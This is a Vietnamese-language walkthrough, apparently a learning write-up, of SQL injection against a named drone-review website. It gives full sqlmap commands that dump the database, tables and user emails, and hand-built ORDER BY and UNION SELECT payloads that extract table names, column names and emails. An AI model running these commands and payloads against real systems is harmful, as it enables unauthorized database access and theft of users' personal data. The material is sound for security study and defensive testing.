# Khai thác SQL Injection ### **Mô tả**: Thực hiện SQl Injection để xem các tables và columns có trong trang web **Mục tiêu**: http://www.mydronereviews.com Tôi sẽ thực hiện 2 cách: Cách 1 Sử dụng công cụ Sqlmap Cách 2 Thực hiện thủ công ## **Cách 1 Sử dụng công cụ Sqlmap** Công cụ cần có: Sqlmap * Đầu tiên tôi thực hiện dò db của trang web `sudo sqlmap -u "http://www.mydronereviews.com/index.php?manufacturer=Blade" --current-db --random-agent --threads 1 ` ![image](https://hackmd.io/_uploads/SJvgTbfX1l.png) thực hiện threads 1 tránh việc để threads cao gửi quá nhiều request bị chặn Ta được current database: 'dronedata' ![image](https://hackmd.io/_uploads/HJfd6ZfXke.png) * Tiếp theo tôi thực hiện tìm kiếm tables trong database `sudo sqlmap -u "http://www.mydronereviews.com/index.php?manufacturer=Blade" -D dronedata --tables --random-agent --threads 1 ` Kết quả thu về được maindata và userdata ![image](https://hackmd.io/_uploads/Sy_6a-MmJx.png) * Tiếp theo tôi thực hiện tìm kiếm các columns có trong table maindata `sudo sqlmap -u "http://www.mydronereviews.com/index.php?manufacturer=Blade" -D dronedata -T maindata --columns --random-agent --threads 1 ` Kết quả thu về được như sau ![image](https://hackmd.io/_uploads/B1eORZMmJl.png) Thực hiện tương tự cho userdata được kết quả như hình ![image](https://hackmd.io/_uploads/H1Y3R-fQyl.png) * Truy xuất column EMAIL `sudo sqlmap -u "http://www.mydronereviews.com/index.php?manufacturer=Blade" -D dronedata -T userdata -C EMAIL --dump --random-agent --threads 1` ![image](https://hackmd.io/_uploads/SkG-dd7Qyx.png) ## **Cách 2: Thực hiện thủ công** Công cụ cần có: Burpsuite * Đầu tiên thực hiện các payload đơn giản vào truy vấn sản phẩm để xem trang web có khả năng khai thác SQLi hay không ví dụ `' " ') ") -- --+` Tôi thực hiện chèn `'` để kiểm tra thử `GET /index.php?manufacturer=Blade'` ![image](https://hackmd.io/_uploads/Hk4m-fG7kl.png) Nhìn vào Response trả về, có vẻ như khi ta chèn `'` thì câu lệnh SQL của nó để truy vấn của nó không đúng. Như vậy nếu chèn đúng, ta có thể thực hiện được SQLi. Có thể câu lệnh truy vấn khi chúng ta chèn` '` sẽ bị dư dấu ngoặc: `SELECT * FROM product = 'Blade''` Để kiểm chứng suy nghĩ bị dư dấu ngoặc và trang web có khả năng dính SQL Injection, tôi sẽ thêm 1 dấu `'` ![image](https://hackmd.io/_uploads/HkLxAUmXkx.png) Có thể thấy, web đã không hề báo lỗi * Tiếp theo tôi sẽ xác định số columns mà trang web có thể có. Tôi sẽ thử trước với 2 coloumns `GET /index.php?manufacturer=Blade'+ORDER+BY+2--%20` ![image](https://hackmd.io/_uploads/H1y1-DXXJl.png) ok. nó vẫn trả về tức là câu lệnh SQL này hợp lệ. * Tiếp theo ta sẽ tìm số lượng column bằng cách thay đổi giá trị 2 thành 3 hoặc 4 hoặc 5,.... . Nếu thay đổi thành 20, kết quả trả về sai, tức là có 19 columns. Có thể tham khảo cheatsheet [tại đây](https://book.hacktricks.xyz/pentesting-web/sql-injection). Thực hiện Intruder trong bruteforce để tìm. ![image](https://hackmd.io/_uploads/BJxJGDQmkg.png) Nhìn vào bảng bruteforce ở trên, dễ dàng nhìn thấy payload = 35 có length = 32461. Nhưng khi payload = 36 trở đi giá trị length bị thay đổi khả năng là bị quá số lượng cột. vậy ta kết luận có 35 columns. * Tiếp theo ta sẽ đi tìm các tables có trong database. Thực hiện kỹ thuật UNION SELECT với 35 columns vừa tìm với giá trị NULL `GET /index.php?manufacturer=Blade'+UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+` ![image](https://hackmd.io/_uploads/S1IaQPm7ke.png) Khi thực hiện đúng số column sẽ không có lỗi. Ta sẽ đi trích xuất các database names trong database `GET /index.php?manufacturer=Blade'+UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,group_concat(table_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL+FROM+information_schema.tables--+` ![image](https://hackmd.io/_uploads/ByQiSPXXke.png) Chịu khó tìm ta sẽ thấy 1 list table name. * Tiếp đến chọn đại 1 table và ta sẽ nhìn được các columns trong table đó. Ở đây tôi sẽ dùng table có tên là userdata `GET /index.php?manufacturer=Blade'+UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,group_concat(column_name),NULL,NULL,NULL+FROM+information_schema.columns+WHERE+table_name+%3d+'userdata'--+` ![image](https://hackmd.io/_uploads/rJ-qBumQyx.png) * Tiếp theo tôi sẽ truy xuất email từ userdata `GET /index.php?manufacturer=Blade'+UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,group_concat(EMAIL),NULL,NULL,NULL+FROM+userdata--+` ![image](https://hackmd.io/_uploads/BysOI_QXJg.png) Tiếp tục làm tương tự với các column bạn muốn.